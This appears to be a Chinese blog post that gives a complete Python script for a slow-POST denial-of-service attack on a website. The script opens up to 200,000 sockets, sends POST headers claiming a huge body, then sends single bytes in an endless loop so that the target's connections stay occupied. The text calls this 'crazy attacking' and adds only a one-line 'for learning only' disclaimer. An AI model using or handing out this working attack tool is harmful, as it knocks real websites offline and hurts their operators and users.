构建多个socket链接后,每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果
import socket
import time
import threading
MAX_CONN = 200000 # 最大socket链接量
PORT = 80
HOST = "地址"
PAGE = "/photography"
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
创建socket链接列表,存储上20万个socket
socks = []
循环创建socket链接
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(buf.encode("utf-8"))
print("Send buf OK!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("Could not connect to server or send error:%s" % ex)
time.sleep(1)
socket循环对目标网站发数据
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode("utf-8"))
print("send f OK!")
except Exception as ex:
print("Send Exception:%s\n" % ex)
socks.remove(s)
s.close()
time.sleep(0.1)
多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
文章仅供学习,恶意攻击他人服务器出现的一切后果请自行负责。
暂无评论
要发表评论,您必须先 登录